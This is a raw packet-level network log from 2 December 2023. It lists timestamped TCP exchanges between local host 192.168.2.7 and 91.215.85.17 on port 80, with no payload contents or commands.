Dec 2, 2023 18:01:43.887732029 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.887742043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.887748957 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.887762070 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.887769938 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.887931108 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.887931108 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.887934923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.887943983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.887952089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.887959003 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.887965918 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.887973070 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.887979031 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.887985945 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.887993097 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.888000965 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.888005972 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.888034105 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.888034105 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.888056040 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.888065100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.888151884 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.888175011 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.888184071 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.888191938 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.888235092 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.888248920 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.888448000 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.888616085 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.888624907 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.888631105 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.888643980 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.888650894 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.888658047 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.888665915 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.888672113 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.888678074 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.888695955 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.888696909 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.888719082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.888726950 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.888735056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.888741016 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.888742924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.888751984 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.888824940 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.888824940 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.892049074 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.896120071 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.093333006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.093343973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.093350887 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.093367100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.093374014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.093383074 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.093390942 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.093398094 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.093405962 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.093413115 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.093425035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.093431950 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.093439102 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.093456984 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.093534946 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.094466925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.094540119 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.094541073 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.094551086 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.094640017 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.094650984 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.094651937 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.094713926 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.095153093 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095160961 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095309973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095318079 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095330954 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095336914 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095336914 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.095345020 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095351934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095359087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095366001 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095369101 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.095372915 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095381975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095391035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095398903 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095406055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095407963 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.095412970 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095423937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095431089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095438957 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095443010 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.095447063 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095455885 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095458031 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.095463991 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095470905 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095479965 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095508099 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.095508099 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.095508099 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.095525980 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.095545053 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095556021 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095563889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095592976 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095599890 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095607042 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095613003 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.095614910 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095626116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095633030 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095633030 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.095660925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095669985 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095683098 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.095710993 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.095710993 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095731974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095740080 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095798016 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.095825911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095834970 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095904112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.095958948 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.096988916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097001076 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097007036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097014904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097022057 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097028971 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097038984 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097047091 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097055912 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097060919 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.097063065 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097070932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097209930 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097210884 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.097210884 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.097220898 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097228050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097234964 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097251892 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097258091 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097261906 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.097266912 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097275019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097281933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097281933 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.097290993 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097297907 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097301960 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.097305059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097384930 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097392082 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.097392082 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.097393036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097404957 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097412109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097419024 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097462893 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.097491026 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097500086 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097507954 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097521067 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097585917 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.097587109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097596884 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097604036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097610950 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097618103 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097629070 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097635984 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.097641945 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097651005 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097659111 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097666979 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.097677946 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.097696066 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.097856045 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.098120928 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098134041 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098140955 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098157883 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098314047 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098320961 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.098323107 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098331928 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098345041 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098351955 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098429918 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.098429918 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.098429918 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.098534107 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098542929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098550081 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098556995 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098562956 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098575115 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098582029 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098588943 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098593950 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.098596096 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098604918 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098611116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098618031 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098622084 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.098624945 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098635912 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098643064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098653078 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098656893 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.098656893 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.098670006 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.098687887 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098689079 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.098701000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098707914 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098835945 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.098840952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098851919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098859072 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098872900 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098887920 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098896027 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098903894 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098911047 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098922968 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.098957062 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.098957062 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.098957062 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.098999023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099006891 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099014044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099034071 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099044085 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099051952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099060059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099091053 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.099091053 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.099136114 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.099215031 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099225998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099234104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099241972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099248886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099256992 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099267006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099270105 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.099299908 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099309921 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099317074 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099335909 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.099379063 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.099392891 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099404097 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099411011 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099420071 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099427938 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099440098 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099458933 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.099478960 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.099529982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099538088 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099545002 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099558115 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099564075 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099570990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099577904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099585056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099591970 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099596024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.099600077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099607944 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099615097 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099621058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099627972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099636078 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.099636078 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.099636078 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.099667072 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099675894 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099675894 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.099684954 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099694967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099703074 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099747896 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.099747896 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.099777937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099788904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099797010 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099844933 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.099858999 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099868059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099874973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099917889 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.099919081 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099927902 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099935055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099946976 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099953890 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099961996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099970102 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.099980116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100006104 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.100006104 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.100025892 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.100039005 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100052118 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100059032 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100071907 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100084066 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100090981 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100105047 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100106001 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.100112915 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100121021 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100128889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100135088 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.100158930 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.100167990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100169897 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.100178957 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100189924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100198030 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100204945 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100214005 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100263119 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.100263119 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.100291014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100301027 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100344896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100353003 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100364923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.100372076 CET	80	49713	91.215.85.17	192.168.2.7
